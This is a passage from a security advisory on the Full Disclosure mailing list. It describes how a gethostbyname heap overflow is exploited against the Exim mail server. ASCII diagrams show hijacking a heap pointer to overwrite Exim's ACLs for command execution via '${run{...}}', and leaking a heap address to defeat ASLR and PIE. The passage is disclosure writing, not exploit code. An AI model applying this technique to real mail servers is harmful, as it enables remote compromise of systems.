> Exim's run-time configuration, which is cached in the heap memory. More
> precisely, we overwrite Exim's Access Control Lists (ACLs), and achieve
> arbitrary command execution thanks to Exim's "${run{<command> <args>}}"
> string expansion mechanism:
> 
>                                                      |< storeblock
>                                                      |
> -----|-------------------------------|---------------|-------------------|-----
>  ... | Exim's run-time configuration | ... .. .. ... |n|l| current_block | ...
> -----|----x--------------------------|---------------|x------------------|-----
>           |                                           |
>           '<------------------------------------------'
>                       hijacked next pointer
> 
> 
>                 |< ACLs >|
> -----|----+-----+--------+------+----|---------------|-------------------|-----
>  ... | Exim's run-time configuration | ... .. .. ... | old current_block | ...
> -----|----+-----+--------+------+----|---------------|-------------------|-----
>           |      XXXXXXXX       |
>           |<------------------->|
>              new current_block
> 
> 
> ----[ 5.2 - Information leak ]------------------------------------------------
> 
> The success of this exploit depends on an important piece of
> information: the address of Exim's run-time configuration in the heap.
> In this section, we describe how we obtain this address, bypassing the
> ASLR (Address Space Layout Randomization) and PIE (Position Independent
> Executable) protections.
> 
> First, we overflow gethostbyname's heap-based buffer and partially
> overwrite the size field of the next contiguous free chunk of memory
> with a slightly larger size:
> 
> 
>                             |< malloc_chunk
>                             |
> -----|----------------------|---+-------------------------|-----
>  ... | gethostbyname buffer |p|s|f|b|F|B| next free chunk | ...
> -----|----------------------|---+-------------------------|-----
>      |                         X|
>      |------------------------->|
>                overflow
> 
> 
> As a result, this artificially-enlarged free chunk overlaps another
> block of memory, where Exim saves the error message "503 sender not yet
> given\r\n" for later use:
> 
> 
>                             |< malloc_chunk
>                             |
> -----|----------------------|-----------------------------|----------+----|-----
>  ... | gethostbyname buffer |p|s|f|b|F|B| real free chunk | error message | ...
> -----|----------------------|-----------------------------|----------+----|-----
>                             |                                        |
>                             |<-------------------------------------->|
>                                  artificially enlarged free chunk
> 
> 
> Then, we partially allocate the artificially-enlarged free chunk,
> thereby splitting it in two: the newly allocated chunk, and a smaller,
> free chunk (the remainder from the split). The malloc_chunk header for
> this remaining free chunk overwrites the very beginning of the saved
> error message with a pointer to the heap (the fd_nextsize pointer):
> 
> 
>                             |< malloc_chunk       |< malloc_chunk
>                             |                     |
> -----|----------------------|---------------------+-------|----------+----|-----
>  ... | gethostbyname buffer |p|s|f|b|F|B| aaaaaaa |p|s|f|b|F|B| r message | ...
> -----|----------------------|---------------------+-------|----------+----|-----
>                             |                     |        X         |
>                             |<------------------->|<---------------->|
>                                 allocated chunk        free chunk
> 
> 
> Finally, we send an invalid SMTP command to Exim, and retrieve the
> fd_nextsize heap pointer from Exim's SMTP response, which includes the
> corrupted error message. This effectively turns gethostbyname's buffer
> overflow into an information leak; moreover, it allows us to distinguish
> between 32-bit and 64-bit machines.
> 
> 
> --[ 6 - Acknowledgments ]-----------------------------------------------------
> 
> We would like to thank Alexander Peslyak of the Openwall Project for his
> help with the disclosure process of this vulnerability.
> 
> 
> _______________________________________________
> Sent through the Full Disclosure mailing list
> https://nmap.org/mailman/listinfo/fulldisclosure
> Web Archives & RSS: http://seclists.org/fulldisclosure/
> 

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ